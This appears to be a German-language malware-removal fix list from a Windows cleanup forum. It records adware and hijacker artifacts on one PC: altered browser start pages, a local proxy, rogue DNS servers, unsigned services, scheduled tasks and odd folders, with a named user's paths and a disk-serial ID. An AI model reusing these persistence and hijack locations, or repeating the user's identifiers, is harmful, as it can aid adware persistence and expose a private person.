ShellIconOverlayIdentifiers-x32: [ DropboxExt9] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
Startup: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\smss.exe [2017-06-05] ()
BootExecute: autocheck autochk * sh4native Sh4Removal
GroupPolicy: Beschr鋘kung - Chrome <======= ACHTUNG
CHR HKLM\SOFTWARE\Policies\Google: Beschr鋘kung <======= ACHTUNG
ProxyEnable: [.DEFAULT] => Proxy ist aktiviert.
ProxyServer: [.DEFAULT] => 127.0.0.1:8003
ProxyEnable: [S-1-5-19] => Proxy ist aktiviert.
ProxyServer: [S-1-5-19] => 127.0.0.1:8003
ProxyEnable: [S-1-5-20] => Proxy ist aktiviert.
ProxyServer: [S-1-5-20] => 127.0.0.1:8003
ProxyServer: [S-1-5-21-3847841184-804715454-2304624315-1001] => 127.0.0.1:8003
Tcpip\Parameters: [NameServer] 82.163.143.157 82.163.142.159
Tcpip\..\Interfaces\{04A2521B-7C11-484A-B28D-E9BE3102A821}: [DhcpNameServer] 82.163.143.176
Tcpip\..\Interfaces\{9BAF9E4B-D963-4721-8C85-586F3F37FF3C}: [NameServer] 8.8.8.8,8.8.4.4,4.2.2.1,4.2.2.2,208.67.222.222,208.67.220.220,8.26.56.26,8.20.247.20,156.154.70.1,156.154.71.1
Tcpip\..\Interfaces\{C085ED3F-9016-49ED-8EF6-3F93AD892C71}: [NameServer] 82.163.143.157 82.163.142.159
Tcpip\..\Interfaces\{C085ED3F-9016-49ED-8EF6-3F93AD892C71}: [DhcpNameServer] 82.163.143.157
Tcpip\..\Interfaces\{E0DF352E-2385-4F61-8BE1-15E2F9F0520E}: [NameServer] 82.163.143.157 82.163.142.159
Tcpip\..\Interfaces\{E0DF352E-2385-4F61-8BE1-15E2F9F0520E}: [DhcpNameServer] 82.163.143.157
ManualProxies:
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschr鋘kung <======= ACHTUNG
HKU\.DEFAULT\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschr鋘kung <======= ACHTUNG
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.startpageing123.com/search/?type=ds&ts=1490098796&z=edb8deb4a39db277332a2ebg6z4t7e1e3t2bdm2b1z&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
SearchScopes: HKLM -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://de.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1&p={searchTerms}
SearchScopes: HKLM -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://de.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1&p={searchTerms}
SearchScopes: HKLM -> {2211d4a5-48d0-47f5-a7cd-81e861470f7f} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSERBM&pc=MSERT1
SearchScopes: HKLM-x32 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxps://de.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1&p={searchTerms}
SearchScopes: HKLM-x32 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSERBM&pc=MSERT1
SearchScopes: HKLM-x32 -> {2211d4a5-48d0-47f5-a7cd-81e861470f7f} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxps://de.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1&p={searchTerms}
SearchScopes: HKU\S-1-5-21-3847841184-804715454-2304624315-1001 -> {2211d4a5-48d0-47f5-a7cd-81e861470f7f} URL =
C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\naweriweentcofise
FF NewTab: Mozilla\Firefox\Profiles\ajsmomju.default -> hxxp://www.initialsite123.com/?z=f1b5038898decb600b47077g1z9tfqae8b9m2tfz7w&from=icb&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&type=hp
FF DefaultSearchEngine: Mozilla\Firefox\Profiles\ajsmomju.default -> initialsite123
FF SelectedSearchEngine: Mozilla\Firefox\Profiles\ajsmomju.default -> initialsite123
FF Homepage: Mozilla\Firefox\Profiles\ajsmomju.default -> hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
FF Keyword.URL: Mozilla\Firefox\Profiles\ajsmomju.default -> user_pref("keyword.URL", true);
FF SearchPlugin: C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\Profiles\ajsmomju.default\searchplugins\ourluckysites.xml [2017-05-31]
FF NewTab: Firefox\Firefox\Profiles\5f8d7llm.default -> hxxp://www.trotux.com/?z=d9e5c212f42caf02cf9f950g4zab0tcmae1g4b0g2e&from=isr&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&type=hp
FF SelectedSearchEngine: Firefox\Firefox\Profiles\5f8d7llm.default -> trotux
FF Extension: (SimilarWeb) - C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\Extensions\@DA3566E2-F709-11E5-8E87-A604BC8E7F8B.xpi [2017-03-28] [ist nicht signiert]
FF Extension: (HSearch) - C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\Extensions\@E97YHOMI-FU8L-IM23-VUT9-RVDZT7M8XL8H.xpi [2017-04-17] [ist nicht signiert]
FF Extension: (FF Adr) - C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\Extensions\@H99KV4DO-UCCF-9PFO-9ZLK-8RRP4FVOKD9O.xpi [2017-03-28] [ist nicht signiert]
FF SearchPlugin: C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\searchplugins\6ddy6fjk.xml [2017-03-17]
FF SearchPlugin: C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\searchplugins\startpageing123.xml [2017-03-21]
FF SearchPlugin: C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\searchplugins\startsearch.xml [2017-05-31]
StartMenuInternet: FIREFOX.EXE - C:\Program Files\Mozilla Firefox\firefox.exe hxxp://www.ourluckysites.com/?type=sc&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
CHR HKLM\...\Chrome\Extension: [nahhmpbckpgdidfnmfkfgiflpjijilce] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [pilplloabdedfmialnfchjomjmpjcoej] - hxxps://clients2.google.com/service/update2/crx
CHR HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [nahhmpbckpgdidfnmfkfgiflpjijilce] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [bpegkgagfojjbcpkihigfmkojdmmimdf] - <kein Path/update_url>
CHR HKLM-x32\...\Chrome\Extension: [ehgldbbpchgpcfagfpfjgoomddhccfgh] - <kein Path/update_url>
CHR HKLM-x32\...\Chrome\Extension: [nahhmpbckpgdidfnmfkfgiflpjijilce] - hxxps://clients2.google.com/service/update2/crx
StartMenuInternet: Google Chrome - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe hxxp://www.ourluckysites.com/?type=sc&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Everness\Application\chrome.exe <==== ACHTUNG
C:\Program Files (x86)\Everness
S4 AppleAppSvc; C:\ProgramData\Apple\Temp\upgrade.ini:ad [199682 ] () [Datei ist nicht signiert] <==== ACHTUNG
C:\ProgramData\Apple\Temp\upgrade.ini
S4 AppleCloudSvc; C:\ProgramData\Apple\Common\Cloud\WinHelper.dll [108544 2017-04-26] () [Datei ist nicht signiert]
C:\ProgramData\Apple\Common\Cloud\WinHelper.dll
R2 BIT; C:\ProgramData\BIT\BIT.dll [1812992 2017-06-01] (TODO: <公司名>) [Datei ist nicht signiert] <==== ACHTUNG
C:\ProgramData\BIT
R2 FirefoxU; C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe [101528 2017-05-31] () <==== ACHTUNG
C:\Program Files (x86)\Firefox
S2 MCSvc; C:\Windows\System32\svchost.exe [38792 2014-11-21] (Microsoft Corporation) <==== ACHTUNG (ServiceDLL nicht gefunden)
S2 MCSvc; C:\Windows\SysWOW64\svchost.exe [33088 2014-11-21] (Microsoft Corporation) <==== ACHTUNG (ServiceDLL nicht gefunden)
R2 MVCSrv; C:\ProgramData\Package Cache\{2A002F88-FD5D-379B-A350-A25D84AF128B}v14.0.25420\packages\VisualC_D14\VC_IDE.Base\VC_IDE_Base.dll [105984 2017-03-28] () [Datei ist nicht signiert]
C:\ProgramData\Package Cache\{2A002F88-FD5D-379B-A350-A25D84AF128B}v14.0.25420\packages\VisualC_D14\VC_IDE.Base\VC_IDE_Base.dll
S4 pgt_svc; C:\Program Files (x86)\ProxyGate\MainService.exe [2285664 2017-02-22] (Gold Click Ltd) <==== ACHTUNG
C:\Program Files (x86)\ProxyGate
S2 SpyHunter 4 Service; C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe [665768 2016-11-16] (Enigma Software Group USA, LLC.)
C:\Program Files\Enigma Software Group
S4 srcsrv; C:\Windows\src_srv\winsrcsrv.exe [17920 2017-05-29] () [Datei ist nicht signiert]
C:\Windows\src_srv\winsrcsrv.exe
Folder: C:\Windows\src_srv
S4 SysLinkMapper; C:\ProgramData\F5C6DBD2-9E35-457F-B662-CF7D478FD412\winnetsvces.exe [9216 2017-04-18] () [Datei ist nicht signiert]
C:\ProgramData\F5C6DBD2-9E35-457F-B662-CF7D478FD412
R2 WinSAPSvc; C:\Users\Nick Schuster\AppData\Roaming\WinSAPSvc\WinSAP.dll [1886720 2017-06-01] () [Datei ist nicht signiert] <==== ACHTUNG
C:\Users\Nick Schuster\AppData\Roaming\WinSAPSvc
S2 ZbezjService; C:\Windows\SysWOW64\srvany.exe [8192 2003-04-18] () [Datei ist nicht signiert]
S2 3DM; C:\Users\Nick Schuster\AppData\Local\3DM\Kitty.dll [X] <==== ACHTUNG
C:\Users\Nick Schuster\AppData\Local\3DM
S4 Kitty; C:\Users\Nick Schuster\AppData\Local\Kitty\Kitty.dll [X] <==== ACHTUNG
C:\Users\Nick Schuster\AppData\Local\Kitty
S2 kivojebi; C:\Program Files (x86)\0D8F6370-1479488272-81E4-3884-0071C2420BD3\kns20F0.tmp [X]
C:\Program Files (x86)\0D8F6370-1479488272-81E4-3884-0071C2420BD3
S4 Recover; C:\Program Files\Uninstall Information\FHND4RB6YGFG69477PK1CJU4XT48RPI\Odgt'YA#3N.exe [X]
C:\Program Files\Uninstall Information\FHND4RB6YGFG69477PK1CJU4XT48RPI
S3 esgiguard; C:\Program Files\Enigma Software Group\SpyHunter\esgiguard.sys [16432 2016-11-16] (Enigma Software Group USA, LLC.)
S3 EsgScanner; C:\Windows\System32\DRIVERS\EsgScanner.sys [22704 2016-11-23] ()
C:\Windows\System32\DRIVERS\EsgScanner.sys
S1 iSafeKrnlMon; \??\C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlMon.sys [X] <==== ACHTUNG
C:\Program Files (x86)\Elex-tech
2017-06-03 18:05 - 2017-06-03 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-4f25-0
2017-06-03 18:05 - 2017-06-03 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3735-1
Folder: C:\Users\Nick Schuster\AppData\Roaming\NetCtl
2017-06-02 18:05 - 2017-06-02 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-6921-1
2017-06-02 18:05 - 2017-06-02 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-2583-0
2017-06-02 18:05 - 2017-06-02 18:05 - 00000000 ____D C:\ProgramData\{279BD4C5-9030-636E-34A5-319E03364EE3}
2017-06-01 19:22 - 2017-06-01 19:22 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Applemy
2017-06-01 18:05 - 2017-06-01 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-7817-0
2017-06-01 18:05 - 2017-06-01 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3a25-1
2017-06-01 12:05 - 2017-06-01 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-0b25-1
2017-06-01 12:05 - 2017-06-01 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-07f7-0
2017-06-01 12:00 - 2017-06-01 12:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\glory
2017-06-01 00:19 - 2017-06-01 00:19 - 00001996 _____ C:\Windows\System32\Tasks\fyKiuMkkXh
2017-06-01 00:14 - 2017-06-01 00:19 - 00000002 _____ C:\END
2017-05-31 18:05 - 2017-05-31 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-7411-1
2017-05-31 18:05 - 2017-05-31 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-49f5-0
2017-05-31 13:53 - 2017-05-31 13:53 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Applemy
2017-05-31 13:52 - 2017-05-31 13:52 - 00000000 ____D C:\Users\Public\Documents\Google
2017-05-31 13:52 - 2017-05-31 13:52 - 00000000 ____D C:\Program Files (x86)\Firefox
2017-05-31 13:46 - 2017-05-31 13:48 - 00000000 ____D C:\Program Files (x86)\Applemy
2017-05-31 12:18 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{5dc62cb3-512c-0}
2017-05-31 12:18 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{241B54D7-93B0-E37C-7209-B5C3B4A67434}
2017-05-31 12:18 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{1fc205d4-012c-1}
2017-05-31 12:05 - 2017-05-31 12:05 - 00023496 _____ C:\Windows\System32\Tasks\{0B047F47-0F0A-0408-0B11-087F0C0B110F}
2017-05-31 11:38 - 2017-05-31 11:38 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Obsidium
2017-05-31 11:36 - 2017-05-31 11:36 - 00000000 ____D C:\ProgramData\F5C6DBD2-9E35-457F-B662-CF7D478FD412
2017-05-31 11:22 - 2017-05-31 11:22 - 00023032 _____ (Wiper Software) C:\Windows\system32\wiperrm.exe
2017-05-31 11:22 - 2017-05-31 11:22 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\WiperSoft
2017-05-31 11:22 - 2017-05-31 11:22 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WiperSoft
2017-05-30 19:49 - 2017-05-30 19:51 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\{12A8CCFE-3C33-4995-BAD8-074E4C5B22FD}
2017-05-30 13:59 - 2017-05-30 13:59 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Minerent
2017-05-30 13:58 - 2017-06-01 12:00 - 00000000 ____D C:\Program Files (x86)\Arucerther_
2017-05-30 13:58 - 2017-05-30 13:58 - 00000000 ____D C:\Users\Default\AppData\Local\AdvinstAnalytics
2017-05-30 13:58 - 2017-05-30 13:58 - 00000000 ____D C:\Users\Default User\AppData\Local\AdvinstAnalytics
2017-05-30 13:56 - 2017-05-30 16:14 - 00000000 ____D C:\Users\Default\AppData\Roaming\Minerent
2017-05-30 13:56 - 2017-05-30 16:14 - 00000000 ____D C:\Users\Default User\AppData\Roaming\Minerent
2017-05-30 13:56 - 2017-05-30 16:14 - 00000000 ____D C:\Program Files (x86)\Arucerther
2017-05-30 13:56 - 2017-05-30 13:56 - 00006006 _____ C:\Windows\System32\Tasks\Coobeck Monitor
2017-05-30 13:56 - 2017-05-30 13:56 - 00000000 ____D C:\Users\Default\AppData\Local\Cerzaentfisuge
2017-05-30 13:56 - 2017-05-30 13:56 - 00000000 ____D C:\Users\Default User\AppData\Local\Cerzaentfisuge
2017-05-30 13:55 - 2017-05-30 13:55 - 00000000 ____D C:\ProgramData\e9cf343f516c47a4a7255147ad1dcd13
2017-05-30 13:55 - 2017-05-30 13:55 - 00000000 ____D C:\ProgramData\ddef39d292cf4b8ea43c256f14555ff3
2017-05-29 22:02 - 2017-05-29 22:02 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\FBTime
2017-05-29 22:01 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\943973b1-7343-1
2017-05-29 22:01 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\943973b1-6925-0
2017-05-29 22:01 - 2017-05-29 22:01 - 00003034 _____ C:\Windows\System32\Tasks\ttwifi
2017-05-29 22:00 - 2017-05-29 22:02 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\AppTrailers
2017-05-29 22:00 - 2017-05-29 22:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\gplyra
2017-05-29 22:00 - 2017-05-29 22:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\gjtj1a4xugf
2017-05-29 22:00 - 2017-05-29 22:00 - 00016764 _____ C:\Windows\System32\Tasks\Quick Tharks Screen Saver
2017-05-29 22:00 - 2017-05-29 22:00 - 00003686 _____ C:\Windows\System32\Tasks\SoftUpgrade
2017-05-29 22:00 - 2017-05-29 22:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\devnull
2017-05-29 22:00 - 2017-05-29 22:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\AdvinstAnalytics
2017-05-29 22:00 - 2017-05-29 22:00 - 00000000 ____D C:\Program Files (x86)\SoftUpgrade
2017-05-29 21:59 - 2017-06-02 15:32 - 00003020 _____ C:\Windows\System32\Tasks\RunAtStartup
2017-05-29 21:59 - 2017-06-01 11:54 - 00000231 _____ C:\ServiceLog.txt
2017-05-29 21:59 - 2017-05-29 22:03 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Grerdaentlerveck
2017-05-29 21:59 - 2017-05-29 22:01 - 00000000 ____D C:\Windows\src_srv
2017-05-29 21:59 - 2017-05-29 22:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\yxuuo1zrzz4
2017-05-29 21:59 - 2017-05-29 22:00 - 00000000 ____D C:\Program Files (x86)\ProxyGate
2017-05-29 21:59 - 2017-05-29 21:59 - 00006038 _____ C:\Windows\System32\Tasks\Gerfety Renew
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\s0ac4g0fkg0
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Draveingplererward
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\ProgramData\VideoMemoryDiagnostic
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\Program Files (x86)\Prfasaretaly
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\Program Files (x86)\pccleanplus
2017-05-26 21:30 - 2017-05-26 21:30 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Babylon
2017-05-26 21:30 - 2017-05-26 21:30 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Babylon
2017-05-26 21:30 - 2017-05-26 21:30 - 00000000 ____D C:\ProgramData\Babylon
2017-05-26 09:40 - 2017-05-31 13:45 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\terana
2017-05-18 17:00 - 2017-05-22 17:09 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\CSHMDR
2017-05-15 16:30 - 2017-05-17 14:09 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\CWASRE
2017-05-15 00:05 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\f9d60eee-68a5-1
2017-05-15 00:05 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\f9d60eee-5f71-0
2017-05-14 16:16 - 2017-05-23 15:34 - 00000000 _____ C:\Windows\SysWOW64\1
2017-05-14 12:05 - 2017-05-14 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-4cc1-0
2017-05-14 12:05 - 2017-05-14 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-4593-1
2017-05-13 20:17 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{1aa64fd2-712c-1}
2017-05-13 20:17 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{02a407e1-212c-0}
2017-05-12 18:05 - 2017-05-12 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-5ad5-1
2017-05-12 18:05 - 2017-05-12 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3ae5-0
2017-05-11 18:05 - 2017-05-11 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-6671-0
2017-05-11 18:05 - 2017-05-11 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-6115-1
2017-05-11 15:23 - 2017-05-11 15:23 - 00000000 _____ C:\Windows\SysWOW64\3333333
2017-05-11 15:22 - 2017-05-11 15:22 - 00000000 _____ C:\Windows\SysWOW64\1111
2017-05-11 15:22 - 2017-05-11 15:22 - 00000000 _____ C:\Windows\SysWOW64\00
2017-05-11 14:03 - 2017-05-11 17:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\NPASRE
2017-05-09 18:05 - 2017-05-09 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-4d03-1
2017-05-09 18:05 - 2017-05-09 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-1147-0
2017-05-09 13:11 - 2017-05-09 17:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\VNASRE
2017-05-08 20:37 - 2017-05-13 20:17 - 00000000 ____D C:\ProgramData\{636564e6-512c-0}
2017-05-08 20:37 - 2017-05-13 20:17 - 00000000 ____D C:\ProgramData\{55b52545-312c-1}
2017-05-08 20:37 - 2017-05-13 20:17 - 00000000 ____D C:\ProgramData\{055b525f-612c-0}
2017-05-08 18:05 - 2017-05-08 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3db3-1
2017-05-08 18:05 - 2017-05-08 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-2227-0
2017-05-08 16:50 - 2017-05-08 16:50 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\ANSARE
2017-05-08 16:43 - 2017-05-08 16:43 - 00000000 ____D C:\Users\Public\Documents\temp
2017-05-08 16:43 - 2017-05-08 16:43 - 00000000 ____D C:\Users\Public\Documents\chrome
2017-05-08 00:05 - 2017-05-08 00:05 - 00000000 ____D C:\ProgramData\f9d60eee-6423-0
2017-05-08 00:05 - 2017-05-08 00:05 - 00000000 ____D C:\ProgramData\f9d60eee-13c7-1
